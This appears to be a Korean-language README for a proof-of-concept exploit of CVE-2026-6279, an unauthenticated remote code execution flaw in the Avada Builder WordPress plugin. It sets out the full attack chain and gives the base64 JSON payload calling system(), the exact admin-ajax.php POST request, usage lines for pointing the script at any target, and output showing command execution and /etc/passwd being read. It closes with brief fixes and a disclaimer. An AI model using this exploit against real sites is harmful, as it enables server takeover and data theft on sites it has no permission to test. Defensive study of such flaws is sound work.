
CVE-2026-6279 — Avada Builder <= 3.15.2 Unauthenticated RCE via call_user_func()
Avada (Fusion Builder) 테마 — 900,000+ 활성 설치 수를 자랑하는 인기 WordPress 프리미엄 테마 — 의 Avada Builder (Fusion Builder) 버전 <= 3.15.2 에서 인증 없이 원격 코드 실행(RCE) 이 가능한 취약점입니다.
공격은 wp_ajax_nopriv_fusion_get_widget_markup AJAX 핸들러를 악용합니다. 이 핸들러는 base64_decode() + json_decode()를 통해 render_logics 매개변수를 처리한 후 Allowlist 없이 call_user_func()에 전달하여 system(), passthru(), shell_exec(), exec(), file_get_contents() 등의 임의 PHP 함수 실행을 가능하게 합니다.
1. 결정적 Nonce UID 0에 대해 wp_create_nonce('fusion_load_nonce')
(Avada 단축 코드가 있는 프론트 페이지에 노출됨)
2. 인증되지 않은 AJAX wp_ajax_nopriv_fusion_get_widget_markup
(로그인 불필요)
3. 역직렬화 base64_decode(render_logics) → json_decode()
(구조 검증 없음)
4. call_user_func() call_user_func($value['function'], $value['args'])
(ALLOWLIST 없음 — 모든 PHP 함수 호출 가능)
5. RCE! system("id") → 응답 본문에 uid=... 출력
╔═════════════════════════════════════════════════════════════╗
║ CVE-2026-6279 • Avada Builder <= 315.2 ║
║ 인증되지 않은 RCE via call_user_func() ║
║ Proof of Concept — 단일 대상 ║
║ ║
║ Copyright © 2026 XENON1337 ║
║ Thanks: Shadow Girlfriend 💜 ║
╚═══════════════════════════════════════════════════════════════╝
══════════════════════════════════════════════════════
대상 : localhost:8888
시간 : 2026-05-23 16:32:41
══════════════════════════════════════════════════════
[*] 대상 감지 중...
[+] Avada 발견됨! (http://localhost:8888)
[*] fusion_load_nonce 찾는 중...
[+] Nonce 발견: b6d7b084c2 (출처: 홈페이지)
[*] RCE 페이로드 전송 중...
[*] 5개 함수 × 3개 위젯 = 15개 조합 시도 중
══════════════════════════════════════════════════════
[★] RCE 성공!
대상 : http://localhost:8888
출력 : uid=1000(xenon1337)
함수 : system()
위젯 : WP_Widget_Recent_Posts
Nonce : b6d7b084c2 (홈페이지)
시간 : 1.2s
[✓] 결과 vuln.txt에 저장됨
══════════════════════════════════════════════════════
# 프로토콜 없음 (자동 감지)
python3 CVE-2026-6279.py target.com
# 프로토콜 포함
python3 CVE-2026-6279.py http://target.com
python3 CVE-2026-6279.py https://target.com
# 포트 포함
python3 CVE-2026-6279.py target.com:8080
python3 CVE-2026-6279.py http://target.com:8080
{
"type": "wp_conditional_tags",
"value": {
"function": "system",
"args": "id"
}
}
Base64 인코딩 → render_logics 로 POST를 통해 wp-admin/admin-ajax.php로 전송.
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
action=fusion_get_widget_markup
fusion_load_nonce=<nonce>
render_logics=<base64_payload>
widget_type=WP_Widget_Recent_Posts
class-fusion-app.php L1665)[fusion_post_cards] 또는 [fusion_table_of_contents] 단축 코드가 있는 페이지에서 UID 0 (공개 방문자)에 대해 nonce 생성check_ajax_referer('fusion_load_nonce')는 nonce가 유효한지만 확인하고 사용자가 인증되었는지는 확인하지 않음call_user_func($function, $args)는 1개의 인수만 받습니다. 2개 이상의 인수가 필요한 함수(proc_open, popen 등)는 악용할 수 없습니다. 단일 인수 함수만 동작: system, passthru, shell_exec, exec, file_get_contents.
9.8 CRITICAL (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
get_value()의 call_user_func()에 Allowlist 추가wp_ajax_nopriv_ 핸들러를 인증된 사용자로만 제한render_logics 구조에 대한 엄격한 검증 구현이 PoC는 교육 및 보안 연구 목적으로만 제작되었습니다. 허가 없이 시스템에 사용하는 것은 불법입니다. 작성자는 오용에 대해 책임을 지지 않습니다.
Copyright © 2026 XENON1337
특별 감사: Shadow Girlfriend 💜
| 함수 | 인수 | 결과 |
|---|
system() | id | uid=1000(xenon1337) ✅ |
passthru() | id | uid=1000(xenon1337) ✅ |
shell_exec() | id | uid=1000(xenon1337) ✅ |
exec() | id | uid=1000(xenon1337) ✅ |
file_get_contents() | /etc/passwd | root:x:0:0:... ✅ |
| 파일 | 라인 | 함수 |
|---|
class-fusion-builder-conditional-render-helper.php | L1083 | should_render() — render_logics 역직렬화 |
class-fusion-builder-conditional-render-helper.php | L1531 | get_value() — Allowlist 없는 call_user_func() |
fusion-widget.php | L44 | render_logics 속성 |
fusion-widget.php | L389 | wp_ajax_nopriv_ AJAX 핸들러 |
class-fusion-builder.php | L7551 | Nonce 등록 (UID 0에 대해 결정적) |